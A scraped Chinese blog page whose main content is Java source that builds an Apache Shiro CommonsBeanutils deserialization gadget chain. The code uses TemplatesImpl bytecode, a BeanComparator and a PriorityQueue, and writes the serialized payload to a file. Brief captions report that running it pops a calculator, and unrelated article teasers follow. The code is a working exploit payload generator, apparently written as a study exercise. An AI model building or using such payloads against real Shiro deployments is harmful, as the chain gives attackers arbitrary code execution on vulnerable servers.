package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class shiro_cb {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
//        PersonBean personBean = new PersonBean("Y4y17",22);
//        System.out.println(PropertyUtils.getProperty(personBean,"age"));
//        System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//        beanComparator.compare(templates,null);PriorityQueue priorityQueue = new PriorityQueue(beanComparator);priorityQueue.add(templates);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeFiled = aClass.getDeclaredField("size");sizeFiled.setAccessible(true);sizeFiled.set(priorityQueue,2);serialization(priorityQueue);
//        deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));objectInputStream.readObject();objectInputStream.close();}
}

最终执行代码:

成功弹出计算器:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/477808.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Rhino】【Python】Create a series of Blocks according to Value of object Property

文章目录 1. Complete Code Display2. Detailed Code Analysis2.1 Import and Setup2.2 Function Structure and Initial Setup2.3 Object Collection and Filtering2.4 Story Management System2.5 Locating Point Processing2.6 Object Organization by Story2.7 Block Creat…

CSP/信奥赛C++语法基础刷题训练(23):洛谷P1217:[USACO1.5] 回文质数 Prime Palindromes

CSP/信奥赛C语法基础刷题训练&#xff08;23&#xff09;&#xff1a;洛谷P1217&#xff1a;[USACO1.5] 回文质数 Prime Palindromes 题目描述 因为 151 151 151 既是一个质数又是一个回文数&#xff08;从左到右和从右到左是看一样的&#xff09;&#xff0c;所以 151 151 …

【探寻密码的奥秘】-001:解开密码的神秘面纱

目录 1、密码学概述1.1、概念1.2、目的1.3、应用场景 2、密码学的历史2.1、第一时期&#xff1a;古代密码时代2.2、第二时期&#xff1a;机械密码时代2.3、第三时期&#xff1a;信息密码时代2.4、第四时期&#xff1a;现代密码时代 3、密码学的基本概念3.1、一般通信系统3.2、保…

文件操作详解(1)

1.文件&#xff0c;文件与流&#xff0c;文件指针 2.文件的打开与关闭 3.文件的读写 文件的顺序读写&#xff1a; &#xff08;1&#xff09;fgetc 和 fputc &#xff08;2&#xff09;fgets 和 fputs &#xff08;3&#xff09;fscanf 和 fprintf &#xff08;4&#x…

基于YOLOv8深度学习的人体姿态摔倒检测与语音报警系统(PyQt5界面+数据集+训练代码)

随着人口老龄化进程的加速&#xff0c;摔倒事故逐渐成为威胁老年人健康和安全的主要问题之一。研究表明&#xff0c;摔倒不仅可能导致老年人骨折、头部受伤等严重的身体损伤&#xff0c;还可能引发心理恐惧和行动能力下降&#xff0c;从而降低其生活质量和独立性。如何快速、准…

jmeter5.6.3安装教程

一、官网下载 需要提前配置好jdk的环境变量 jmeter官网&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 选择点击二进制的zip文件 下载成功后&#xff0c;默认解压下一步&#xff0c;更改安装路径就行(我安装在D盘) 实用jmeter的bin目录作为系统变量 然后把这…

差分进化算法原理与复现

目录 摘要1、算法原理1.1、种群初始化1.2、变异1.3、交叉1.4、选择 2、算法实现2.1、种群初始化2.2、变异2.3、交叉2.4、选择2.5、选取终代种群中最优秀个体 摘要 如何选取一组最佳的参数&#xff0c;使得代价函数值最优&#xff1f;这是优化算法做的事&#xff0c;一个直觉的…

搜索引擎中广泛使用的文档排序算法——BM25(Best Matching 25)

在搜索场景中&#xff0c;BM25能计算每个文档与查询的匹配度&#xff0c;从中找出最相关的文档&#xff0c;并按相关性高低排序展示。 要理解BM25&#xff0c;需要掌握以下几个关键概念&#xff1a; 1. 词频&#xff08;Term Frequency, TF&#xff09;&#xff1a;某关键词在文…

C语言笔记(自定义类型:结构体、枚举、联合体 )

前言 本文对自定义类型的结构体创建、使用、结构体的存储方式和对齐方式&#xff0c;枚举的定义、使用方式以及联合体的定义、使用和存储方式展开叙述&#xff0c;如有错误&#xff0c;请各位指正。 目录 前言 1 结构体 1.1 结构体的声明 1.2 结构体的自引用 1.3 结构体变…

【C++】list模拟实现(详解)

本篇来详细说一下list的模拟实现&#xff0c;list的大体框架实现会比较简单&#xff0c;难的是list的iterator的实现。我们模拟实现的是带哨兵位头结点的list。 1.准备工作 为了不和C库里面的list冲突&#xff0c;我们在实现的时候用命名空间隔开。 //list.h #pragma once #…

数字化工厂 MES试点方案全解析(三)

目 录 三、试点实施步骤 需求分析与方案设计阶段 系统开发与测试阶段 系统部署与培训阶段 试点运行与优化阶段 总结与评估阶段 三、试点实施步骤 需求分析与方案设计阶段 1、成立由企业生产、工艺、质量、设备、IT 等多部门人员组成的项目团队&#xff0c;与 MES 供应商共…

ShuffleNet V2:高效卷积神经网络架构设计的实用指南

摘要 https://arxiv.org/pdf/1807.11164 当前&#xff0c;神经网络架构设计大多以计算复杂度的间接指标&#xff0c;即浮点运算数&#xff08;FLOPs&#xff09;为指导。然而&#xff0c;直接指标&#xff08;例如速度&#xff09;还取决于其他因素&#xff0c;如内存访问成本…

【Opencv学习】PART1-图像基础处理

目录 一、图像的读入、显示和保存 1、读入图像 imread函数 范例 显示控制参数 2、显示图像 imshow函数 范例 tips waitkey函数 含义 delay参数: tips destoryAllWindows函数 3、保存图像 imwrite函数 范例 实操 01-读入显示保存 代码 结果 二、图像处理入…

硬中断关闭后的堆栈抓取方法

一、背景 性能和稳定性是一个计算机工程里的一个永恒的主题。其中尤其稳定性这块的问题发现和问题分析及问题解决就依赖合适的对系统的观测的手段&#xff0c;帮助我们发现问题&#xff0c;识别问题原因最后才能解决问题。稳定性问题里尤其底层问题里&#xff0c;除了panic问题…

MT8768/MTK8768安卓核心板性能参数_联发科安卓智能模块开发方案

MT8768安卓核心板 是一款采用台积电12nm FinFET制程工艺的智能手机芯片。MT8768核心板不仅提供所有高级功能和出色体验&#xff0c;同时确保智能终端具备长电池寿命。该芯片提供了一个1600x720高清(20:9比例)分辨率显示屏&#xff0c;排除了清晰度和功耗之间的平衡问题。该芯片…

NVR管理平台EasyNVR多个NVR同时管理:全方位安防监控视频融合云平台方案

EasyNVR是基于端-边-云一体化架构的安防监控视频融合云平台&#xff0c;具有简单轻量的部署方式与多样的功能&#xff0c;支持多种协议&#xff08;如GB28181、RTSP、Onvif、RTMP&#xff09;和设备类型&#xff08;IPC、NVR等&#xff09;&#xff0c;提供视频直播、录像、回放…

ETAS工具导入DBC生成Com协议栈

文章目录 前言DBC配置关键属性Cobra参数配置Cobra使用isolar工程配置总结前言 ETAS工具导入DBC主要也是生成arxml用的,ETAS推荐使用Cobra导入,本文介绍导入过程及注意事项 DBC配置关键属性 对于普通Com报文,配置为周期发送,及其周期,NmMessage配置为No,示例如下: 对…

图形化界面MySQL(MySQL)(超级详细)

1.官网地址 MySQL :: Download MySQL Workbench 1.1在Linux直接点击NO thanks..... 下载完后是这个页面 1.2任何远端登录&#xff0c;再把jj数据库给授权 1.3建立新用户 进行连接 点击这个就运行了 只执行show tables&#xff1b;要先选中 圆圈处支持自己输入 点击这个就执…

vulhub靶场与pikachu靶场

一、搭建vulhub 环境&#xff1a;kaildocker 1.1 提权&#xff1a; :::color4 sudo su #权限升级为root ::: 1.2更新软件&#xff1a; :::color4 apt-get update ::: (此处我已更新过) 1.3安装HTTPS协议和CA证书&#xff1a; :::color4 apt-get install -y apt-transpo…

计算机网络socket编程(6)_TCP实网络编程现 Command_server

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 计算机网络socket编程(6)_TCP实网络编程现 Command_server 收录于专栏【计算机网络】 本专栏旨在分享学习计算机网络的一点学习笔记&#xff0c;欢迎大家在评论…